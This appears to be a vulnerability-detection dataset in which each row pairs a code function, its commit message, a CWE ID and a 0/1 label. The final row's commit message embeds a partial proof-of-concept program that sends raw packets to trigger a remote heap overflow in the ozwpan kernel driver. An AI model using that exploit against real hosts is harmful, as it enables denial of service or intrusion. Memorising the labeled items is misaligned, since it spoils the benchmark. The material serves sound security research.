instruction stringclasses 1 value | input stringlengths 56 241k | output int64 0 1 | __index_level_0__ int64 0 175k |
|---|---|---|---|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: TriState Editor::selectionHasStyle(CSSPropertyID propertyID,
const String& value) const {
return EditingStyle::create(propertyID, value)
->triStateOfStyle(
frame().selection().computeVisibleSelectionInDOMTreeDeprecated());
}
Commit Message: Make TypingCommand::insertText() to take SelectionInDOMTree instead of VisibleSelection
This patch makes |TypingCommand::insertText()| to take |SelectionInDOMTree|
instead of |VisibleSelection| to reduce usage of |VisibleSelection| for
improving code health.
BUG=657237
TEST=n/a
Review-Url: https://codereview.chromium.org/2733183002
Cr-Commit-Position: refs/heads/master@{#455368}
CWE ID: | 0 | 129,178 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: bool restart_stratum(struct pool *pool)
{
applog(LOG_DEBUG, "Restarting stratum on pool %s", get_pool_name(pool));
if (pool->stratum_active)
suspend_stratum(pool);
if (!initiate_stratum(pool))
return false;
if (pool->extranonce_subscribe && !subscribe_extranonce(pool))
return false;
if (!auth_stratum(pool))
return false;
return true;
}
Commit Message: stratum: parse_notify(): Don't die on malformed bbversion/prev_hash/nbit/ntime.
Might have introduced a memory leak, don't have time to check. :(
Should the other hex2bin()'s be checked?
Thanks to Mick Ayzenberg <mick.dejavusecurity.com> for finding this.
CWE ID: CWE-20 | 0 | 36,618 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: Document* Document::parentDocument() const
{
if (!m_frame)
return 0;
Frame* parent = m_frame->tree()->parent();
if (!parent)
return 0;
return parent->document();
}
Commit Message: Refactoring: Move m_mayDisplaySeamlesslyWithParent down to Document
The member is used only in Document, thus no reason to
stay in SecurityContext.
TEST=none
BUG=none
R=haraken@chromium.org, abarth, haraken, hayato
Review URL: https://codereview.chromium.org/27615003
git-svn-id: svn://svn.chromium.org/blink/trunk@159829 bbb929c8-8fbe-4397-9dbb-9b2b20218538
CWE ID: CWE-20 | 0 | 102,799 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: main( int argc,
char* argv[] )
{
int old_ptsize, orig_ptsize, file;
int first_glyph = 0;
int XisSetup = 0;
char* execname;
int option;
int file_loaded;
grEvent event;
execname = ft_basename( argv[0] );
while ( 1 )
{
option = getopt( argc, argv, "d:e:f:r:" );
if ( option == -1 )
break;
switch ( option )
{
case 'd':
parse_design_coords( optarg );
break;
case 'e':
encoding = (FT_Encoding)make_tag( optarg );
break;
case 'f':
first_glyph = atoi( optarg );
break;
case 'r':
res = atoi( optarg );
if ( res < 1 )
usage( execname );
break;
default:
usage( execname );
break;
}
}
argc -= optind;
argv += optind;
if ( argc <= 1 )
usage( execname );
if ( sscanf( argv[0], "%d", &orig_ptsize ) != 1 )
orig_ptsize = 64;
file = 1;
/* Initialize engine */
error = FT_Init_FreeType( &library );
if ( error )
PanicZ( "Could not initialize FreeType library" );
NewFile:
ptsize = orig_ptsize;
hinted = 1;
file_loaded = 0;
/* Load face */
error = FT_New_Face( library, argv[file], 0, &face );
if ( error )
goto Display_Font;
if ( encoding != FT_ENCODING_NONE )
{
error = FT_Select_Charmap( face, encoding );
if ( error )
goto Display_Font;
}
/* retrieve multiple master information */
error = FT_Get_MM_Var( face, &multimaster );
if ( error )
goto Display_Font;
/* if the user specified a position, use it, otherwise */
/* set the current position to the median of each axis */
{
int n;
for ( n = 0; n < (int)multimaster->num_axis; n++ )
{
design_pos[n] = n < requested_cnt ? requested_pos[n]
: multimaster->axis[n].def;
if ( design_pos[n] < multimaster->axis[n].minimum )
design_pos[n] = multimaster->axis[n].minimum;
else if ( design_pos[n] > multimaster->axis[n].maximum )
design_pos[n] = multimaster->axis[n].maximum;
}
}
error = FT_Set_Var_Design_Coordinates( face,
multimaster->num_axis,
design_pos );
if ( error )
goto Display_Font;
file_loaded++;
Reset_Scale( ptsize );
num_glyphs = face->num_glyphs;
glyph = face->glyph;
size = face->size;
Display_Font:
/* initialize graphics if needed */
if ( !XisSetup )
{
XisSetup = 1;
Init_Display();
}
grSetTitle( surface, "FreeType Glyph Viewer - press F1 for help" );
old_ptsize = ptsize;
if ( file_loaded >= 1 )
{
Fail = 0;
Num = first_glyph;
if ( Num >= num_glyphs )
Num = num_glyphs - 1;
if ( Num < 0 )
Num = 0;
}
for ( ;; )
{
int key;
Clear_Display();
if ( file_loaded >= 1 )
{
switch ( render_mode )
{
case 0:
Render_Text( Num );
break;
default:
Render_All( Num, ptsize );
}
sprintf( Header, "%s %s (file %s)",
face->family_name,
face->style_name,
ft_basename( argv[file] ) );
if ( !new_header )
new_header = Header;
grWriteCellString( &bit, 0, 0, new_header, fore_color );
new_header = 0;
sprintf( Header, "axis: " );
{
int n;
for ( n = 0; n < (int)multimaster->num_axis; n++ )
{
char temp[32];
sprintf( temp, " %s:%g",
multimaster->axis[n].name,
design_pos[n]/65536. );
strcat( Header, temp );
}
}
grWriteCellString( &bit, 0, 16, Header, fore_color );
sprintf( Header, "at %d points, first glyph = %d",
ptsize,
Num );
}
else
{
sprintf( Header, "%s: not an MM font file, or could not be opened",
ft_basename( argv[file] ) );
}
grWriteCellString( &bit, 0, 8, Header, fore_color );
grRefreshSurface( surface );
grListenSurface( surface, 0, &event );
if ( !( key = Process_Event( &event ) ) )
goto End;
if ( key == 'n' )
{
if ( file_loaded >= 1 )
FT_Done_Face( face );
if ( file < argc - 1 )
file++;
goto NewFile;
}
if ( key == 'p' )
{
if ( file_loaded >= 1 )
FT_Done_Face( face );
if ( file > 1 )
file--;
goto NewFile;
}
if ( ptsize != old_ptsize )
{
Reset_Scale( ptsize );
old_ptsize = ptsize;
}
}
End:
grDoneSurface( surface );
grDoneDevices();
free ( multimaster );
FT_Done_Face ( face );
FT_Done_FreeType( library );
printf( "Execution completed successfully.\n" );
printf( "Fails = %d\n", Fail );
exit( 0 ); /* for safety reasons */
return 0; /* never reached */
}
Commit Message:
CWE ID: CWE-119 | 1 | 164,999 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: OfflinePageDownloadBridge::~OfflinePageDownloadBridge() {}
Commit Message: Open Offline Pages in CCT from Downloads Home.
When the respective feature flag is enabled, offline pages opened from
the Downloads Home will use CCT instead of normal tabs.
Bug: 824807
Change-Id: I6d968b8b0c51aaeb7f26332c7ada9f927e151a65
Reviewed-on: https://chromium-review.googlesource.com/977321
Commit-Queue: Carlos Knippschild <carlosk@chromium.org>
Reviewed-by: Ted Choc <tedchoc@chromium.org>
Reviewed-by: Bernhard Bauer <bauerb@chromium.org>
Reviewed-by: Jian Li <jianli@chromium.org>
Cr-Commit-Position: refs/heads/master@{#546545}
CWE ID: CWE-264 | 0 | 124,645 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void nlmsg_set_src(struct nl_msg *msg, struct sockaddr_nl *addr)
{
memcpy(&msg->nm_src, addr, sizeof(*addr));
}
Commit Message:
CWE ID: CWE-190 | 0 | 12,931 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static void tg3_get_5761_nvram_info(struct tg3 *tp)
{
u32 nvcfg1, protect = 0;
nvcfg1 = tr32(NVRAM_CFG1);
/* NVRAM protection for TPM */
if (nvcfg1 & (1 << 27)) {
tg3_flag_set(tp, PROTECTED_NVRAM);
protect = 1;
}
nvcfg1 &= NVRAM_CFG1_5752VENDOR_MASK;
switch (nvcfg1) {
case FLASH_5761VENDOR_ATMEL_ADB021D:
case FLASH_5761VENDOR_ATMEL_ADB041D:
case FLASH_5761VENDOR_ATMEL_ADB081D:
case FLASH_5761VENDOR_ATMEL_ADB161D:
case FLASH_5761VENDOR_ATMEL_MDB021D:
case FLASH_5761VENDOR_ATMEL_MDB041D:
case FLASH_5761VENDOR_ATMEL_MDB081D:
case FLASH_5761VENDOR_ATMEL_MDB161D:
tp->nvram_jedecnum = JEDEC_ATMEL;
tg3_flag_set(tp, NVRAM_BUFFERED);
tg3_flag_set(tp, FLASH);
tg3_flag_set(tp, NO_NVRAM_ADDR_TRANS);
tp->nvram_pagesize = 256;
break;
case FLASH_5761VENDOR_ST_A_M45PE20:
case FLASH_5761VENDOR_ST_A_M45PE40:
case FLASH_5761VENDOR_ST_A_M45PE80:
case FLASH_5761VENDOR_ST_A_M45PE16:
case FLASH_5761VENDOR_ST_M_M45PE20:
case FLASH_5761VENDOR_ST_M_M45PE40:
case FLASH_5761VENDOR_ST_M_M45PE80:
case FLASH_5761VENDOR_ST_M_M45PE16:
tp->nvram_jedecnum = JEDEC_ST;
tg3_flag_set(tp, NVRAM_BUFFERED);
tg3_flag_set(tp, FLASH);
tp->nvram_pagesize = 256;
break;
}
if (protect) {
tp->nvram_size = tr32(NVRAM_ADDR_LOCKOUT);
} else {
switch (nvcfg1) {
case FLASH_5761VENDOR_ATMEL_ADB161D:
case FLASH_5761VENDOR_ATMEL_MDB161D:
case FLASH_5761VENDOR_ST_A_M45PE16:
case FLASH_5761VENDOR_ST_M_M45PE16:
tp->nvram_size = TG3_NVRAM_SIZE_2MB;
break;
case FLASH_5761VENDOR_ATMEL_ADB081D:
case FLASH_5761VENDOR_ATMEL_MDB081D:
case FLASH_5761VENDOR_ST_A_M45PE80:
case FLASH_5761VENDOR_ST_M_M45PE80:
tp->nvram_size = TG3_NVRAM_SIZE_1MB;
break;
case FLASH_5761VENDOR_ATMEL_ADB041D:
case FLASH_5761VENDOR_ATMEL_MDB041D:
case FLASH_5761VENDOR_ST_A_M45PE40:
case FLASH_5761VENDOR_ST_M_M45PE40:
tp->nvram_size = TG3_NVRAM_SIZE_512KB;
break;
case FLASH_5761VENDOR_ATMEL_ADB021D:
case FLASH_5761VENDOR_ATMEL_MDB021D:
case FLASH_5761VENDOR_ST_A_M45PE20:
case FLASH_5761VENDOR_ST_M_M45PE20:
tp->nvram_size = TG3_NVRAM_SIZE_256KB;
break;
}
}
}
Commit Message: tg3: fix length overflow in VPD firmware parsing
Commit 184b89044fb6e2a74611dafa69b1dce0d98612c6 ("tg3: Use VPD fw version
when present") introduced VPD parsing that contained a potential length
overflow.
Limit the hardware's reported firmware string length (max 255 bytes) to
stay inside the driver's firmware string length (32 bytes). On overflow,
truncate the formatted firmware string instead of potentially overwriting
portions of the tg3 struct.
http://cansecwest.com/slides/2013/PrivateCore%20CSW%202013.pdf
Signed-off-by: Kees Cook <keescook@chromium.org>
Reported-by: Oded Horovitz <oded@privatecore.com>
Reported-by: Brad Spengler <spender@grsecurity.net>
Cc: stable@vger.kernel.org
Cc: Matt Carlson <mcarlson@broadcom.com>
Signed-off-by: David S. Miller <davem@davemloft.net>
CWE ID: CWE-119 | 0 | 32,547 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void Verify_BasicFindMainResponse() {
EXPECT_EQ(kEntryUrl, delegate()->found_url_);
EXPECT_EQ(kManifestUrl, delegate()->found_manifest_url_);
EXPECT_EQ(1, delegate()->found_cache_id_);
EXPECT_EQ(2, delegate()->found_group_id_);
EXPECT_EQ(1, delegate()->found_entry_.response_id());
EXPECT_TRUE(delegate()->found_entry_.IsExplicit());
EXPECT_FALSE(delegate()->found_fallback_entry_.has_response_id());
TestFinished();
}
Commit Message: Reland "AppCache: Add padding to cross-origin responses."
This is a reland of 85b389caa7d725cdd31f59e9a2b79ff54804b7b7
Initialized CacheRecord::padding_size to 0.
Original change's description:
> AppCache: Add padding to cross-origin responses.
>
> Bug: 918293
> Change-Id: I4f16640f06feac009d6bbbb624951da6d2669f6c
> Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1488059
> Commit-Queue: Staphany Park <staphany@chromium.org>
> Reviewed-by: Victor Costan <pwnall@chromium.org>
> Reviewed-by: Marijn Kruisselbrink <mek@chromium.org>
> Cr-Commit-Position: refs/heads/master@{#644624}
Bug: 918293
Change-Id: Ie1d3f99c7e8a854d33255a4d66243da2ce16441c
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1539906
Reviewed-by: Victor Costan <pwnall@chromium.org>
Commit-Queue: Staphany Park <staphany@chromium.org>
Cr-Commit-Position: refs/heads/master@{#644719}
CWE ID: CWE-200 | 0 | 151,379 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: decompileCAST(int n, SWF_ACTION *actions, int maxn)
{
struct SWF_ACTIONPUSHPARAM *iparam=pop();
struct SWF_ACTIONPUSHPARAM *tparam=pop();
push(newVar_N( getName(tparam),"(",getName(iparam),"", 0,")"));
return 0;
}
Commit Message: decompileAction: Prevent heap buffer overflow and underflow with using OpCode
CWE ID: CWE-119 | 0 | 89,488 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void MetricsWebContentsObserver::WillProcessNavigationResponse(
content::NavigationHandle* navigation_handle) {
auto it = provisional_loads_.find(navigation_handle);
if (it == provisional_loads_.end())
return;
it->second->WillProcessNavigationResponse(navigation_handle);
}
Commit Message: Add boolean to UserIntiatedInfo noting if an input event led to navigation.
Also refactor UkmPageLoadMetricsObserver to use this new boolean to
report the user initiated metric in RecordPageLoadExtraInfoMetrics, so
that it works correctly in the case when the page load failed.
Bug: 925104
Change-Id: Ie08e7d3912cb1da484190d838005e95e57a209ff
Reviewed-on: https://chromium-review.googlesource.com/c/1450460
Commit-Queue: Annie Sullivan <sullivan@chromium.org>
Reviewed-by: Bryan McQuade <bmcquade@chromium.org>
Cr-Commit-Position: refs/heads/master@{#630870}
CWE ID: CWE-79 | 0 | 140,165 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void LayerTreeHost::SetNeedsRedraw() {
SetNeedsRedrawRect(gfx::Rect(device_viewport_size_));
}
Commit Message: Removed pinch viewport scroll offset distribution
The associated change in Blink makes the pinch viewport a proper
ScrollableArea meaning the normal path for synchronizing layer scroll
offsets is used.
This is a 2 sided patch, the other CL:
https://codereview.chromium.org/199253002/
BUG=349941
Review URL: https://codereview.chromium.org/210543002
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@260105 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-399 | 0 | 112,008 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static int fallocate_chunk(struct inode *inode, loff_t offset, loff_t len,
int mode)
{
struct gfs2_inode *ip = GFS2_I(inode);
struct buffer_head *dibh;
int error;
loff_t size = len;
unsigned int nr_blks;
sector_t lblock = offset >> inode->i_blkbits;
error = gfs2_meta_inode_buffer(ip, &dibh);
if (unlikely(error))
return error;
gfs2_trans_add_meta(ip->i_gl, dibh);
if (gfs2_is_stuffed(ip)) {
error = gfs2_unstuff_dinode(ip, NULL);
if (unlikely(error))
goto out;
}
while (len) {
struct buffer_head bh_map = { .b_state = 0, .b_blocknr = 0 };
bh_map.b_size = len;
set_buffer_zeronew(&bh_map);
error = gfs2_block_map(inode, lblock, &bh_map, 1);
if (unlikely(error))
goto out;
len -= bh_map.b_size;
nr_blks = bh_map.b_size >> inode->i_blkbits;
lblock += nr_blks;
if (!buffer_new(&bh_map))
continue;
if (unlikely(!buffer_zeronew(&bh_map))) {
error = -EIO;
goto out;
}
}
if (offset + size > inode->i_size && !(mode & FALLOC_FL_KEEP_SIZE))
i_size_write(inode, offset + size);
mark_inode_dirty(inode);
out:
brelse(dibh);
return error;
}
Commit Message: ->splice_write() via ->write_iter()
iter_file_splice_write() - a ->splice_write() instance that gathers the
pipe buffers, builds a bio_vec-based iov_iter covering those and feeds
it to ->write_iter(). A bunch of simple cases coverted to that...
[AV: fixed the braino spotted by Cyrill]
Signed-off-by: Al Viro <viro@zeniv.linux.org.uk>
CWE ID: CWE-264 | 0 | 46,328 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: GLOBAL(cjpeg_source_ptr)
jinit_read_bmp(j_compress_ptr cinfo, boolean use_inversion_array)
{
bmp_source_ptr source;
/* Create module interface object */
source = (bmp_source_ptr)
(*cinfo->mem->alloc_small) ((j_common_ptr)cinfo, JPOOL_IMAGE,
sizeof(bmp_source_struct));
source->cinfo = cinfo; /* make back link for subroutines */
/* Fill in method ptrs, except get_pixel_rows which start_input sets */
source->pub.start_input = start_input_bmp;
source->pub.finish_input = finish_input_bmp;
source->use_inversion_array = use_inversion_array;
return (cjpeg_source_ptr)source;
}
Commit Message: tjLoadImage(): Fix FPE triggered by malformed BMP
In rdbmp.c, it is necessary to guard against 32-bit overflow/wraparound
when allocating the row buffer, because since BMP files have 32-bit
width and height fields, the value of biWidth can be up to 4294967295.
Specifically, if biWidth is 1073741824 and cinfo->input_components = 4,
then the samplesperrow argument in alloc_sarray() would wrap around to
0, and a division by zero error would occur at line 458 in jmemmgr.c.
If biWidth is set to a higher value, then samplesperrow would wrap
around to a small number, which would likely cause a buffer overflow
(this has not been tested or verified.)
CWE ID: CWE-369 | 0 | 84,762 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static void snd_usbmidi_transmit_byte(struct usbmidi_out_port *port,
uint8_t b, struct urb *urb)
{
uint8_t p0 = port->cable;
void (*output_packet)(struct urb*, uint8_t, uint8_t, uint8_t, uint8_t) =
port->ep->umidi->usb_protocol_ops->output_packet;
if (b >= 0xf8) {
output_packet(urb, p0 | 0x0f, b, 0, 0);
} else if (b >= 0xf0) {
switch (b) {
case 0xf0:
port->data[0] = b;
port->state = STATE_SYSEX_1;
break;
case 0xf1:
case 0xf3:
port->data[0] = b;
port->state = STATE_1PARAM;
break;
case 0xf2:
port->data[0] = b;
port->state = STATE_2PARAM_1;
break;
case 0xf4:
case 0xf5:
port->state = STATE_UNKNOWN;
break;
case 0xf6:
output_packet(urb, p0 | 0x05, 0xf6, 0, 0);
port->state = STATE_UNKNOWN;
break;
case 0xf7:
switch (port->state) {
case STATE_SYSEX_0:
output_packet(urb, p0 | 0x05, 0xf7, 0, 0);
break;
case STATE_SYSEX_1:
output_packet(urb, p0 | 0x06, port->data[0],
0xf7, 0);
break;
case STATE_SYSEX_2:
output_packet(urb, p0 | 0x07, port->data[0],
port->data[1], 0xf7);
break;
}
port->state = STATE_UNKNOWN;
break;
}
} else if (b >= 0x80) {
port->data[0] = b;
if (b >= 0xc0 && b <= 0xdf)
port->state = STATE_1PARAM;
else
port->state = STATE_2PARAM_1;
} else { /* b < 0x80 */
switch (port->state) {
case STATE_1PARAM:
if (port->data[0] < 0xf0) {
p0 |= port->data[0] >> 4;
} else {
p0 |= 0x02;
port->state = STATE_UNKNOWN;
}
output_packet(urb, p0, port->data[0], b, 0);
break;
case STATE_2PARAM_1:
port->data[1] = b;
port->state = STATE_2PARAM_2;
break;
case STATE_2PARAM_2:
if (port->data[0] < 0xf0) {
p0 |= port->data[0] >> 4;
port->state = STATE_2PARAM_1;
} else {
p0 |= 0x03;
port->state = STATE_UNKNOWN;
}
output_packet(urb, p0, port->data[0], port->data[1], b);
break;
case STATE_SYSEX_0:
port->data[0] = b;
port->state = STATE_SYSEX_1;
break;
case STATE_SYSEX_1:
port->data[1] = b;
port->state = STATE_SYSEX_2;
break;
case STATE_SYSEX_2:
output_packet(urb, p0 | 0x04, port->data[0],
port->data[1], b);
port->state = STATE_SYSEX_0;
break;
}
}
}
Commit Message: ALSA: usb-audio: avoid freeing umidi object twice
The 'umidi' object will be free'd on the error path by snd_usbmidi_free()
when tearing down the rawmidi interface. So we shouldn't try to free it
in snd_usbmidi_create() after having registered the rawmidi interface.
Found by KASAN.
Signed-off-by: Andrey Konovalov <andreyknvl@gmail.com>
Acked-by: Clemens Ladisch <clemens@ladisch.de>
Cc: <stable@vger.kernel.org>
Signed-off-by: Takashi Iwai <tiwai@suse.de>
CWE ID: | 0 | 54,811 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void InFlightBackendIO::DoomEntriesBetween(const base::Time initial_time,
const base::Time end_time,
const net::CompletionCallback& callback) {
scoped_refptr<BackendIO> operation(new BackendIO(this, backend_, callback));
operation->DoomEntriesBetween(initial_time, end_time);
PostOperation(FROM_HERE, operation.get());
}
Commit Message: Blockfile cache: fix long-standing sparse + evict reentrancy problem
Thanks to nedwilliamson@ (on gmail) for an alternative perspective
plus a reduction to make fixing this much easier.
Bug: 826626, 518908, 537063, 802886
Change-Id: Ibfa01416f9a8e7f7b361e4f93b4b6b134728b85f
Reviewed-on: https://chromium-review.googlesource.com/985052
Reviewed-by: Matt Menke <mmenke@chromium.org>
Commit-Queue: Maks Orlovich <morlovich@chromium.org>
Cr-Commit-Position: refs/heads/master@{#547103}
CWE ID: CWE-20 | 0 | 147,312 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: int mlx5_ib_destroy_qp(struct ib_qp *qp)
{
struct mlx5_ib_dev *dev = to_mdev(qp->device);
struct mlx5_ib_qp *mqp = to_mqp(qp);
if (unlikely(qp->qp_type == IB_QPT_GSI))
return mlx5_ib_gsi_destroy_qp(qp);
if (mqp->qp_sub_type == MLX5_IB_QPT_DCT)
return mlx5_ib_destroy_dct(mqp);
destroy_qp_common(dev, mqp);
kfree(mqp);
return 0;
}
Commit Message: IB/mlx5: Fix leaking stack memory to userspace
mlx5_ib_create_qp_resp was never initialized and only the first 4 bytes
were written.
Fixes: 41d902cb7c32 ("RDMA/mlx5: Fix definition of mlx5_ib_create_qp_resp")
Cc: <stable@vger.kernel.org>
Acked-by: Leon Romanovsky <leonro@mellanox.com>
Signed-off-by: Jason Gunthorpe <jgg@mellanox.com>
CWE ID: CWE-119 | 0 | 92,146 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: ZEND_API int zend_ts_hash_add_empty_element(TsHashTable *ht, char *arKey, uint nKeyLength)
{
int retval;
begin_write(ht);
retval = zend_hash_add_empty_element(TS_HASH(ht), arKey, nKeyLength);
end_write(ht);
return retval;
}
Commit Message:
CWE ID: | 0 | 7,440 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static double filter_mitchell(const double x)
{
#define KM_B (1.0f/3.0f)
#define KM_C (1.0f/3.0f)
#define KM_P0 (( 6.0f - 2.0f * KM_B ) / 6.0f)
#define KM_P2 ((-18.0f + 12.0f * KM_B + 6.0f * KM_C) / 6.0f)
#define KM_P3 (( 12.0f - 9.0f * KM_B - 6.0f * KM_C) / 6.0f)
#define KM_Q0 (( 8.0f * KM_B + 24.0f * KM_C) / 6.0f)
#define KM_Q1 ((-12.0f * KM_B - 48.0f * KM_C) / 6.0f)
#define KM_Q2 (( 6.0f * KM_B + 30.0f * KM_C) / 6.0f)
#define KM_Q3 (( -1.0f * KM_B - 6.0f * KM_C) / 6.0f)
if (x < -2.0)
return(0.0f);
if (x < -1.0)
return(KM_Q0-x*(KM_Q1-x*(KM_Q2-x*KM_Q3)));
if (x < 0.0f)
return(KM_P0+x*x*(KM_P2-x*KM_P3));
if (x < 1.0f)
return(KM_P0+x*x*(KM_P2+x*KM_P3));
if (x < 2.0f)
return(KM_Q0+x*(KM_Q1+x*(KM_Q2+x*KM_Q3)));
return(0.0f);
}
Commit Message: gdImageScaleTwoPass memory leak fix
Fixing memory leak in gdImageScaleTwoPass, as reported by @cmb69 and
confirmed by @vapier. This bug actually bit me in production and I'm
very thankful that it was reported with an easy fix.
Fixes #173.
CWE ID: CWE-399 | 0 | 56,332 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: FileSystemCancellableOperationImpl(
OperationID id,
FileSystemManagerImpl* file_system_manager_impl)
: id_(id), file_system_manager_impl_(file_system_manager_impl) {}
Commit Message: Disable FileSystemManager::CreateWriter if WritableFiles isn't enabled.
Bug: 922677
Change-Id: Ib16137cbabb2ec07f1ffc0484722f1d9cc533404
Reviewed-on: https://chromium-review.googlesource.com/c/1416570
Commit-Queue: Marijn Kruisselbrink <mek@chromium.org>
Reviewed-by: Victor Costan <pwnall@chromium.org>
Cr-Commit-Position: refs/heads/master@{#623552}
CWE ID: CWE-189 | 0 | 153,042 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void MonitorResourceRequest(const net::test_server::HttpRequest& request) {
GURL requested_url = request.GetURL();
auto it = request.headers.find("Host");
if (it != request.headers.end())
requested_url = GURL("http://" + it->second + request.relative_url);
if (!saw_request_url_ && request_url_ == requested_url) {
saw_request_url_ = true;
request_content_ = request.content;
if (run_loop_)
run_loop_->Quit();
}
}
Commit Message: Allow origin lock for WebUI pages.
Returning true for WebUI pages in DoesSiteRequireDedicatedProcess helps
to keep enforcing a SiteInstance swap during chrome://foo ->
chrome://bar navigation, even after relaxing
BrowsingInstance::GetSiteInstanceForURL to consider RPH::IsSuitableHost
(see https://crrev.com/c/783470 for that fixes process sharing in
isolated(b(c),d(c)) scenario).
I've manually tested this CL by visiting the following URLs:
- chrome://welcome/
- chrome://settings
- chrome://extensions
- chrome://history
- chrome://help and chrome://chrome (both redirect to chrome://settings/help)
Bug: 510588, 847127
Change-Id: I55073bce00f32cb8bc5c1c91034438ff9a3f8971
Reviewed-on: https://chromium-review.googlesource.com/1237392
Commit-Queue: Łukasz Anforowicz <lukasza@chromium.org>
Reviewed-by: François Doray <fdoray@chromium.org>
Reviewed-by: Nasko Oskov <nasko@chromium.org>
Reviewed-by: Avi Drissman <avi@chromium.org>
Cr-Commit-Position: refs/heads/master@{#595259}
CWE ID: CWE-119 | 0 | 156,488 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static unsigned int compute_filename_hash(const MyString &key)
{
return key.Hash();
}
Commit Message:
CWE ID: CWE-134 | 0 | 16,605 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static void oz_hcd_endpoint_disable(struct usb_hcd *hcd,
struct usb_host_endpoint *ep)
{
}
Commit Message: ozwpan: Use unsigned ints to prevent heap overflow
Using signed integers, the subtraction between required_size and offset
could wind up being negative, resulting in a memcpy into a heap buffer
with a negative length, resulting in huge amounts of network-supplied
data being copied into the heap, which could potentially lead to remote
code execution.. This is remotely triggerable with a magic packet.
A PoC which obtains DoS follows below. It requires the ozprotocol.h file
from this module.
=-=-=-=-=-=
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <netinet/ether.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <endian.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#define u8 uint8_t
#define u16 uint16_t
#define u32 uint32_t
#define __packed __attribute__((__packed__))
#include "ozprotocol.h"
static int hex2num(char c)
{
if (c >= '0' && c <= '9')
return c - '0';
if (c >= 'a' && c <= 'f')
return c - 'a' + 10;
if (c >= 'A' && c <= 'F')
return c - 'A' + 10;
return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
int i;
for (i = 0; i < 6; i++) {
int a, b;
a = hex2num(*txt++);
if (a < 0)
return -1;
b = hex2num(*txt++);
if (b < 0)
return -1;
*addr++ = (a << 4) | b;
if (i < 5 && *txt++ != ':')
return -1;
}
return 0;
}
int main(int argc, char *argv[])
{
if (argc < 3) {
fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
return 1;
}
uint8_t dest_mac[6];
if (hwaddr_aton(argv[2], dest_mac)) {
fprintf(stderr, "Invalid mac address.\n");
return 1;
}
int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
if (sockfd < 0) {
perror("socket");
return 1;
}
struct ifreq if_idx;
int interface_index;
strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
perror("SIOCGIFINDEX");
return 1;
}
interface_index = if_idx.ifr_ifindex;
if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
perror("SIOCGIFHWADDR");
return 1;
}
uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_elt_connect_req oz_elt_connect_req;
} __packed connect_packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(0)
},
.oz_elt = {
.type = OZ_ELT_CONNECT_REQ,
.length = sizeof(struct oz_elt_connect_req)
},
.oz_elt_connect_req = {
.mode = 0,
.resv1 = {0},
.pd_info = 0,
.session_id = 0,
.presleep = 35,
.ms_isoc_latency = 0,
.host_vendor = 0,
.keep_alive = 0,
